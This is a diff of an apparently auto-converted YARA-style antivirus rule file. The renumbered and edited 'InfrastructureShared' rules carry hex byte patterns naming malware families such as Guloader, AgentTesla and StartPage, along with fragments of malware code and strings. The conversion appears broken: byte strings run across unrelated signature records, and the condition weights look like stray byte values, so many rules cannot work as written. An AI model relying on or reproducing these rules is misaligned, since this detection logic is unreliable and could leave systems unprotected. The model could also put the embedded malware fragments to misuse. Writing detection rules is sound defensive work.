1)*10752+(#a_48_4 & 1)*8448+(#a_63_5 & 1)*29281) >=6 } -rule _InfrastructureShared_15061{ +rule _InfrastructureShared_16046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -173858,7 +185439,7 @@ rule _InfrastructureShared_15061{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*385+(#a_64_2 & 1)*26733+(#a_65_3 & 1)*384+(#a_6f_4 & 1)*26990+(#a_58_5 & 1)*20056) >=6 } -rule _InfrastructureShared_15062{ +rule _InfrastructureShared_16047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -173876,7 +185457,7 @@ rule _InfrastructureShared_15062{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*18177+(#a_73_2 & 1)*26990+(#a_35_3 & 1)*12324+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_e3_8 & 1)*0) >=6 } -rule _InfrastructureShared_15063{ +rule _InfrastructureShared_16048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -173891,7 +185472,7 @@ rule _InfrastructureShared_15063{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*26166+(#a_72_2 & 1)*17734+(#a_41_3 & 1)*11873+(#a_2d_4 & 1)*656+(#a_00_6 & 1)*100) >=7 } -rule _InfrastructureShared_15064{ +rule _InfrastructureShared_16049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -173901,29 +185482,45 @@ rule _InfrastructureShared_15064{ $a_44_2 = {74 61 01 00 07 01 52 65 70 6c 61 63 65 00 00 78 e3 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4f 49 4b 31 32 33 21 4d 54 42 00 01 00 14 81 01 62 61 74 74 65 72 69 65 20 64 61 61 68 69 6e 64 65 6e 65 73 01 00 09 81 01 63 61 73 63 61 62 65 6c 73 01 00 } //24943 $a_72_3 = {63 } //-32506 c $a_01_4 = {00 1f 81 01 25 67 6c 6f 72 69 66 69 63 65 72 69 6e 67 25 5c 46 6f 6f 74 73 6c 6f 67 67 69 6e 67 32 30 34 01 00 17 81 01 28 28 5c 53 6c 61 65 6b 6b 65 5c 6f 78 61 7a 69 6e 65 73 2e 64 65 74 01 00 16 81 01 61 6e 74 69 76 65 6e 69 6e 5c 73 6c 75 73 65 70 6f 72 74 65 6e 73 01 00 27 81 01 25 73 61 6d 6b 72 69 6e 67 73 25 5c 6c 72 } //29545 - $a_72_5 = {66 74 5c 4b 6f 6e 63 65 70 74 65 72 6e 65 33 38 2e 62 65 6c 00 00 78 e3 00 00 07 00 07 00 0a 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 48 4d 52 35 00 01 00 0f 80 01 2f 2f 6e 65 77 67 6f 70 6c 75 73 2e 63 6f 6d 01 00 10 80 01 43 3a 5c 54 45 4d 50 5c 32 38 39 30 2e 74 6d 70 01 00 10 80 } //29285 - $a_66_6 = {77 61 72 65 5c 6e 65 74 63 6f 6e 63 01 00 08 80 01 66 73 61 76 2e 65 78 65 01 00 0f 80 01 54 6f 6f 6c 62 6f 78 42 69 74 6d 61 70 33 32 01 00 0f 80 01 54 6f 6f 6c 62 61 72 57 69 6e 64 6f 77 33 32 01 00 11 80 01 54 4f 4f 4c 42 41 52 5f 50 4f 50 55 50 4d 45 4e 55 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 01 55 6e 69 6e } //21249 + $a_72_5 = {66 74 5c 4b 6f 6e 63 65 70 74 65 72 6e 65 33 38 2e 62 65 6c 00 00 78 e3 00 00 07 00 07 00 08 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 49 6e 73 74 61 6c 6c 42 72 61 69 6e 00 01 00 11 80 01 67 65 74 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 75 72 6c 01 00 14 80 01 69 73 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 6f 66 66 65 72 65 64 01 00 15 } //29285 + $a_73_6 = {63 6f 6d 70 6f 6e 65 6e 74 5f 61 63 63 65 70 74 65 64 01 00 16 80 01 69 73 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 69 6e 73 74 61 6c 6c 65 64 01 00 15 80 01 67 65 74 5f 63 6f 75 6e 74 5f 6f 66 66 65 72 5f 70 61 67 65 73 01 00 0a 80 01 70 61 67 65 5f 6f 66 66 65 72 01 00 15 80 01 73 65 74 5f 63 6f 6d 70 6f 6e 65 6e 74 5f } //384 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*110+(#a_44_2 & 1)*24943+(#a_72_3 & 1)*-32506+(#a_01_4 & 1)*29545+(#a_72_5 & 1)*29285+(#a_66_6 & 1)*21249) >=7 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*110+(#a_44_2 & 1)*24943+(#a_72_3 & 1)*-32506+(#a_01_4 & 1)*29545+(#a_72_5 & 1)*29285+(#a_73_6 & 1)*384) >=7 } -rule _InfrastructureShared_15065{ +rule _InfrastructureShared_16050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4f 49 4b 31 32 33 21 4d 54 42 00 01 00 14 81 01 62 61 74 74 65 72 69 65 20 64 61 61 68 69 6e 64 65 6e 65 73 01 00 09 81 01 63 61 73 63 61 62 65 6c 73 01 00 06 81 01 72 61 63 69 73 6d 01 00 1f 81 01 } //18467 $a_6f_1 = {69 66 69 63 65 72 69 6e 67 25 5c 46 6f 6f 74 73 6c 6f 67 67 69 6e 67 32 30 34 01 00 17 81 01 28 28 5c 53 6c 61 65 6b 6b 65 5c 6f 78 61 7a 69 6e 65 73 2e 64 65 74 01 00 16 81 01 61 6e 74 69 76 65 6e 69 6e 5c 73 6c 75 73 65 70 6f 72 74 65 6e 73 01 00 27 81 01 25 73 61 6d 6b 72 69 6e 67 73 25 5c 6c 72 65 72 6b 72 61 66 74 5c } //26405 - $a_63_2 = {70 74 65 72 6e 65 33 38 2e 62 65 6c 00 00 78 e3 00 00 07 00 07 00 0a 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 48 4d 52 35 00 01 00 0f 80 01 2f 2f 6e 65 77 67 6f 70 6c 75 73 2e 63 6f 6d 01 00 10 80 01 43 3a 5c 54 45 4d 50 5c 32 38 39 30 2e 74 6d 70 01 00 10 80 01 53 6f 66 74 77 61 72 65 5c 6e } //28491 - $a_6f_3 = {63 01 00 08 80 01 66 73 61 76 2e 65 78 65 01 00 0f 80 01 54 6f 6f 6c 62 6f 78 42 69 74 6d 61 70 33 32 01 00 0f 80 01 54 6f 6f 6c 62 61 72 57 69 6e 64 6f 77 33 32 01 00 11 80 01 54 4f 4f 4c 42 41 52 5f 50 4f 50 55 50 4d 45 4e 55 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 01 55 6e 69 } //29797 - $a_61_4 = {6c 65 72 2e 65 78 65 9c ff 0c 80 01 55 6e 69 6e 73 74 61 6c 2e 65 78 65 00 00 78 e3 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 33 34 21 4d 54 42 00 01 00 1c 80 01 46 69 6e 61 6c 50 4f 4f 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 0e 80 01 4e 65 77 } //29550 - $a_65_5 = {69 6e 64 69 6e 67 01 00 09 80 01 41 70 70 44 6f 6d 61 69 6e 01 00 09 80 01 48 61 73 68 74 61 62 6c 65 01 00 0a 80 01 49 43 6f 6e 74 61 69 6e 65 72 01 00 07 80 01 52 65 70 6c 61 63 65 01 00 05 80 01 53 70 6c 69 74 01 00 25 80 01 24 32 33 63 35 64 32 38 39 2d 38 63 37 32 2d 34 63 62 35 2d 38 66 62 33 2d 36 39 65 64 65 30 35 33 36 38 38 62 01 00 10 } //24908 - $a_72_6 = {6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 00 78 e3 00 00 09 00 09 00 09 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 47 52 21 4d 54 42 00 01 00 40 80 01 36 36 } //384 + $a_63_2 = {70 74 65 72 6e 65 33 38 2e 62 65 6c 00 00 78 e3 00 00 07 00 07 00 08 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 49 6e 73 74 61 6c 6c 42 72 61 69 6e 00 01 00 11 80 01 67 65 74 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 75 72 6c 01 00 14 80 01 69 73 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 6f 66 66 65 72 65 64 01 00 15 80 01 69 73 5f 63 6f 6d 70 6f 6e } //28491 + $a_5f_3 = {63 63 65 70 74 65 64 01 00 16 80 01 69 73 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 69 6e 73 74 61 6c 6c 65 64 01 00 15 80 01 67 65 74 5f 63 6f 75 6e 74 5f 6f 66 66 65 72 5f 70 61 67 65 73 01 00 0a 80 01 70 61 67 65 5f 6f 66 66 65 72 01 00 15 80 01 73 65 74 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 63 72 79 70 74 65 64 01 00 16 80 01 64 65 63 72 79 70 74 5f 63 6f } //28261 + $a_6e_4 = {6e 74 5f 66 69 6c 65 00 00 78 e3 00 00 07 00 07 00 0a 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 48 4d 52 35 00 01 00 0f 80 01 2f 2f 6e 65 77 67 6f 70 6c 75 73 2e 63 6f 6d 01 00 10 80 01 43 3a 5c 54 45 4d 50 5c 32 38 39 30 2e 74 6d 70 01 00 10 80 01 53 6f 66 74 77 61 72 65 5c 6e 65 74 63 6f 6e 63 } //28781 + $a_80_5 = {66 73 61 76 2e 65 78 65 } //fsav.exe 1 + $a_80_6 = {54 6f 6f 6c 62 6f 78 42 69 74 6d 61 70 33 32 } //ToolboxBitmap32 1 condition: - ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*26405+(#a_63_2 & 1)*28491+(#a_6f_3 & 1)*29797+(#a_61_4 & 1)*29550+(#a_65_5 & 1)*24908+(#a_72_6 & 1)*384) >=7 + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*26405+(#a_63_2 & 1)*28491+(#a_5f_3 & 1)*28261+(#a_6e_4 & 1)*28781+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1) >=7 } -rule _InfrastructureShared_15066{ +rule _InfrastructureShared_16051{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 49 6e 73 74 61 6c 6c 42 72 61 69 6e 00 01 00 11 80 01 67 65 74 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 75 72 6c 01 00 14 80 01 69 73 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 6f 66 66 65 72 65 64 01 00 15 80 01 69 73 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 61 } //20515 + $a_70_1 = {65 64 01 00 16 80 01 69 73 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 69 6e 73 74 61 6c 6c 65 64 01 00 15 80 01 67 65 74 5f 63 6f 75 6e 74 5f 6f 66 66 65 72 5f 70 61 67 65 73 01 00 0a 80 01 70 61 67 65 5f 6f 66 66 65 72 01 00 15 80 01 73 65 74 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 63 72 79 70 74 65 64 01 00 16 80 01 } //25443 + $a_72_2 = {70 74 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 66 69 6c 65 00 00 78 e3 00 00 07 00 07 00 0a 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 48 4d 52 35 00 01 00 0f 80 01 2f 2f 6e 65 77 67 6f 70 6c 75 73 2e 63 6f 6d 01 00 10 80 01 43 3a 5c 54 45 4d 50 5c 32 38 39 30 2e 74 6d } //25956 + $a_6f_4 = {74 77 61 72 65 5c 6e 65 74 63 6f 6e 63 01 00 08 80 01 66 73 61 76 2e 65 78 65 01 00 0f 80 01 54 6f 6f 6c 62 6f 78 42 69 74 6d 61 70 33 32 01 00 0f 80 01 54 6f 6f 6c 62 61 72 57 69 6e 64 6f 77 33 32 01 00 11 80 01 54 4f 4f 4c 42 41 52 5f 50 4f 50 55 } //384 + $a_4e_5 = {9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 01 55 6e 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 9c ff 0c 80 01 55 6e 69 6e 73 74 61 6c 2e 65 78 65 00 00 78 e3 00 00 09 00 09 00 09 00 21 23 48 53 54 } //19792 + $a_72_6 = {6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 33 34 21 4d 54 42 00 01 00 1c 80 01 46 69 6e 61 6c 50 4f 4f 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 0e 80 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 09 } //14930 + $a_70_7 = {44 6f 6d 61 69 6e 01 00 09 80 01 48 61 73 68 74 61 62 6c 65 01 00 0a 80 01 49 43 6f 6e 74 61 69 6e 65 72 01 00 07 80 01 52 65 70 6c 61 63 65 01 00 05 80 01 53 70 6c 69 74 01 00 25 80 01 24 32 33 } //384 + condition: + ((#a_41_0 & 1)*20515+(#a_70_1 & 1)*25443+(#a_72_2 & 1)*25956+(#a_6f_4 & 1)*384+(#a_4e_5 & 1)*19792+(#a_72_6 & 1)*14930+(#a_70_7 & 1)*384) >=7 + +} +rule _InfrastructureShared_16052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -173942,7 +185539,7 @@ rule _InfrastructureShared_15066{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25970+(#a_9c_2 & 1)*30821+(#a_75_3 & 1)*29541+(#a_37_4 & 1)*14381+(#a_34_5 & 1)*13878+(#a_01_6 & 1)*14150+(#a_72_7 & 1)*18689+(#a_41_8 & 1)*8448+(#a_00_9 & 1)*97) >=7 } -rule _InfrastructureShared_15067{ +rule _InfrastructureShared_16053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -173960,7 +185557,7 @@ rule _InfrastructureShared_15067{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*26478+(#a_70_2 & 1)*384+(#a_32_3 & 1)*13667+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1) >=9 } -rule _InfrastructureShared_15068{ +rule _InfrastructureShared_16054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -173978,7 +185575,7 @@ rule _InfrastructureShared_15068{ ((#a_4c_0 & 1)*21539+(#a_41_1 & 1)*13875+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_e3_8 & 1)*0) >=9 } -rule _InfrastructureShared_15069{ +rule _InfrastructureShared_16055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -173996,7 +185593,7 @@ rule _InfrastructureShared_15069{ ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*265+(#a_73_2 & 1)*3584+(#a_65_3 & 1)*30047+(#a_65_5 & 1)*385+(#a_62_6 & 1)*29300+(#a_6b_7 & 1)*29813+(#a_54_8 & 1)*384+(#a_63_9 & 1)*28243) >=10 } -rule _InfrastructureShared_15070{ +rule _InfrastructureShared_16056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -174015,7 +185612,7 @@ rule _InfrastructureShared_15070{ ((#a_46_0 & 1)*16675+(#a_36_1 & 1)*28233+(#a_61_2 & 1)*29557+(#a_01_3 & 1)*2560+(#a_54_4 & 1)*21577+(#a_4b_5 & 1)*17786+(#a_00_6 & 1)*28265+(#a_49_7 & 1)*-32504+(#a_34_8 & 1)*18761+(#a_75_9 & 1)*29541) >=10 } -rule _InfrastructureShared_15071{ +rule _InfrastructureShared_16057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -174034,7 +185631,7 @@ rule _InfrastructureShared_15071{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29554+(#a_52_2 & 1)*384+(#a_4b_3 & 1)*17786+(#a_00_4 & 1)*28265+(#a_49_5 & 1)*-32504+(#a_34_6 & 1)*18761+(#a_75_7 & 1)*29541+(#a_6c_8 & 1)*25940+(#a_00_9 & 1)*18) >=10 } -rule _InfrastructureShared_15072{ +rule _InfrastructureShared_16058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -174053,7 +185650,7 @@ rule _InfrastructureShared_15072{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*11891+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_e3_5 & 1)*0+(#a_00_6 & 1)*20033+(#a_61_7 & 1)*385+(#a_65_8 & 1)*29557+(#a_01_9 & 1)*9494) >=10 } -rule _InfrastructureShared_15073{ +rule _InfrastructureShared_16059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -174071,7 +185668,7 @@ rule _InfrastructureShared_15073{ ((#a_54_0 & 1)*18467+(#a_4e_1 & 1)*14133+(#a_6e_2 & 1)*26478+(#a_4d_3 & 1)*12594+(#a_11_4 & 1)*656+(#a_04_5 & 1)*-28616+(#a_13_6 & 1)*275+(#a_8e_7 & 1)*656+(#a_00_8 & 1)*144) >=10 } -rule _InfrastructureShared_15074{ +rule _InfrastructureShared_16060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -174084,7 +185681,7 @@ rule _InfrastructureShared_15074{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28616+(#a_90_3 & 1)*2067+(#a_64_4 & 1)*20225) >=15 } -rule _InfrastructureShared_15075{ +rule _InfrastructureShared_16061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,5b 00 5b 00 06 00 21 " @@ -174093,13 +185690,13 @@ rule _InfrastructureShared_15075{ $a_00_1 = {35 00 55 00 50 00 0a 00 1a 00 57 00 69 00 6e 00 2d 00 53 00 74 00 65 00 70 00 68 00 79 00 50 00 43 00 33 00 0a 00 14 00 44 00 45 00 53 00 54 00 4f 00 50 00 32 00 34 00 35 00 37 00 0a 00 10 00 78 00 77 00 77 00 79 00 76 00 76 00 6c 00 75 00 32 00 2f 03 64 ff } //85 $a_20_2 = {90 01 02 00 00 b8 01 00 00 00 e8 90 01 04 8b 44 86 fc 50 ba 90 01 02 00 00 b8 01 00 00 00 e8 90 01 04 8b 54 83 fc 90 00 00 00 5a 00 78 e3 00 00 64 00 64 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 6b 74 69 6b 2e 41 00 01 00 38 03 ff 34 b0 e8 90 01 02 ff ff 8b 44 24 10 83 c4 04 68 90 01 02 00 10 ff 34 b0 ff d7 83 c4 08 0f b6 db 85 c0 b8 01 00 00 00 0f 44 d8 8b 44 24 0c 46 3b 74 } //25648 $a_cc_3 = {00 01 00 33 03 74 0f 8d 9b 00 00 00 00 83 c0 02 66 83 38 00 75 f7 66 83 38 5c 74 0a 90 90 83 e8 02 66 83 38 5c 75 f7 8d 70 02 33 c9 68 90 01 02 00 10 56 66 89 08 90 00 01 00 12 01 b8 2f 2a 63 6f 3b 03 75 0a b8 64 65 2a 2f 3b 43 04 74 01 00 0f 00 53 45 44 6c 6c 5f 57 69 6e 33 32 2e 64 6c 6c 01 00 1b 80 01 72 65 67 73 76 72 33 32 20 2f 73 20 22 25 73 22 20 44 52 20 5f 5f } //4132 - $a_5f_4 = {00 00 02 00 78 e3 00 00 9d 00 9b 00 0a 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 61 73 6b 75 6e 2e 53 49 42 21 4d 54 42 00 32 00 1d 80 01 54 65 78 74 20 46 69 6c 65 20 53 74 72 69 6e 67 20 52 65 70 6c 61 63 65 72 } //18755 - $a_65_5 = {00 15 80 01 53 74 75 64 65 6e 74 54 65 73 74 53 63 6f 72 65 73 2e 74 78 74 32 00 0b 80 01 50 72 6f 6a 65 63 74 5f 41 53 45 01 00 05 80 01 6c 6f 67 69 6e 01 00 08 80 01 75 73 65 72 6e 61 6d 65 01 00 08 80 01 70 61 73 73 77 6f 72 64 01 00 0d 80 01 41 63 74 69 76 69 74 79 20 4c 6f 67 73 01 00 15 80 01 5f 41 63 74 69 76 69 74 79 5f 4c 6f 67 5f 54 68 72 65 61 64 } //25902 + $a_5f_4 = {00 00 02 00 78 e3 00 00 64 00 64 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 61 72 74 50 61 67 65 2e 4d 52 21 4d 54 42 00 14 00 31 03 8d 54 24 1c b9 84 62 40 00 52 e8 90 01 04 68 88 61 40 00 b9 84 62 40 } //18755 + $a_01_5 = {04 8d 44 24 24 b9 84 62 40 00 50 e8 90 01 04 68 50 61 40 00 90 00 0a 00 34 03 64 89 25 00 00 00 00 51 68 88 62 40 00 8d 4c 24 04 e8 90 01 04 68 30 50 40 00 8d 4c 24 04 c7 44 24 10 00 00 00 00 e8 90 01 04 8b 44 24 14 8d 4c 24 00 90 00 32 00 1e 01 8b fa 53 c1 e9 02 f3 a5 8b c8 53 83 e1 03 53 f3 a4 6a 04 8d 8c 24 90 04 00 00 6a 01 51 e8 0a 00 17 01 6a 69 66 65 66 2e 64 6c 6c 20 55 6e 70 72 6f 74 65 63 74 46 69 6c 65 0a 00 09 01 74 } //-6144 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*85+(#a_20_2 & 1)*25648+(#a_cc_3 & 1)*4132+(#a_5f_4 & 1)*18755+(#a_65_5 & 1)*25902) >=91 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*85+(#a_20_2 & 1)*25648+(#a_cc_3 & 1)*4132+(#a_5f_4 & 1)*18755+(#a_01_5 & 1)*-6144) >=91 } -rule _InfrastructureShared_15076{ +rule _InfrastructureShared_16062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 05 00 21 " @@ -174113,7 +185710,21 @@ rule _InfrastructureShared_15076{ ((#a_54_0 & 1)*18467+(#a_03_1 & 1)*1+(#a_01_2 & 1)*1+(#a_00_3 & 1)*1+(#a_80_4 & 1)*1) >=100 } -rule _InfrastructureShared_15077{ +rule _InfrastructureShared_16063{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 05 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 61 72 74 50 61 67 65 2e 4d 52 21 4d 54 42 00 14 00 31 03 8d 54 24 1c b9 84 62 40 00 52 e8 90 01 04 68 88 61 40 00 b9 84 62 40 00 e8 90 01 04 8d 44 24 24 b9 84 62 } //21539 + $a_e8_1 = {01 04 68 50 61 40 00 90 00 0a 00 34 03 64 89 25 00 00 00 00 51 68 88 62 40 00 8d 4c 24 04 e8 90 01 04 68 30 50 40 00 8d 4c 24 04 c7 44 24 10 00 00 00 00 e8 90 01 04 8b 44 24 14 8d 4c 24 00 90 00 32 00 1e 01 8b fa 53 c1 e9 02 f3 a5 8b c8 53 } //64 + $a_53_2 = {a4 6a 04 } //-7805 + $a_90_3 = {00 00 6a 01 51 e8 0a 00 17 01 6a 69 66 65 66 2e 64 6c 6c 20 55 6e 70 72 6f 74 65 63 74 46 69 6c 65 0a 00 09 } //-29555 + $a_69_4 = {74 2e 65 78 65 00 00 78 e3 00 00 9d 00 9b 00 0a 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 61 73 6b 75 6e 2e 53 49 42 21 4d 54 42 00 32 00 1d 80 01 54 65 78 74 20 46 69 6c 65 20 53 74 72 69 6e 67 20 52 65 70 6c 61 63 65 72 2e 65 78 65 32 00 15 80 01 53 74 75 64 65 6e 74 54 65 73 74 53 63 } //29697 + condition: + ((#a_4c_0 & 1)*21539+(#a_e8_1 & 1)*64+(#a_53_2 & 1)*-7805+(#a_90_3 & 1)*-29555+(#a_69_4 & 1)*29697) >=100 + +} +rule _InfrastructureShared_16064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff9d 00 ffffff9b 00 0a 00 21 " @@ -174131,7 +185742,7 @@ rule _InfrastructureShared_15077{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*21364+(#a_01_2 & 1)*25697+(#a_4f_3 & 1)*29516+(#a_64_4 & 1)*25454+(#a_49_5 & 1)*19853+(#a_0f_6 & 1)*4098+(#a_00_8 & 1)*-8590+(#a_0b_9 & 1)*0) >=155 } -rule _InfrastructureShared_15078{ +rule _InfrastructureShared_16065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffa0 00 ffffffa0 00 08 00 21 " @@ -174148,7 +185759,7 @@ rule _InfrastructureShared_15078{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*28518+(#a_53_2 & 1)*28233+(#a_8b_3 & 1)*10327+(#a_45_4 & 1)*19666+(#a_02_5 & 1)*-28619+(#a_08_6 & 1)*-28672+(#a_00_7 & 1)*144) >=160 } -rule _InfrastructureShared_15079{ +rule _InfrastructureShared_16066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -174159,7 +185770,7 @@ rule _InfrastructureShared_15079{ ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*18472) >=1 } -rule _InfrastructureShared_15080{ +rule _InfrastructureShared_16067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -174173,7 +185784,7 @@ rule _InfrastructureShared_15080{ ((#a_54_0 & 1)*18467+(#a_66_2 & 1)*4864+(#a_02_3 & 1)*-13989+(#a_67_4 & 1)*12108+(#a_08_6 & 1)*0) >=1 } -rule _InfrastructureShared_15081{ +rule _InfrastructureShared_16068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -174183,7 +185794,7 @@ rule _InfrastructureShared_15081{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_15082{ +rule _InfrastructureShared_16069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -174196,7 +185807,7 @@ rule _InfrastructureShared_15082{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*1060+(#a_23_2 & 1)*3+(#a_75_3 & 1)*17518) >=2 } -rule _InfrastructureShared_15083{ +rule _InfrastructureShared_16070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -174208,7 +185819,7 @@ rule _InfrastructureShared_15083{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_39_2 & 1)*12378) >=3 } -rule _InfrastructureShared_15084{ +rule _InfrastructureShared_16071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -174218,7 +185829,7 @@ rule _InfrastructureShared_15084{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15085{ +rule _InfrastructureShared_16072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -174230,7 +185841,7 @@ rule _InfrastructureShared_15085{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-20736+(#a_05_2 & 1)*0) >=3 } -rule _InfrastructureShared_15086{ +rule _InfrastructureShared_16073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -174242,7 +185853,7 @@ rule _InfrastructureShared_15086{ ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*16+(#a_59_3 & 1)*17996) >=3 } -rule _InfrastructureShared_15087{ +rule _InfrastructureShared_16074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -174255,7 +185866,7 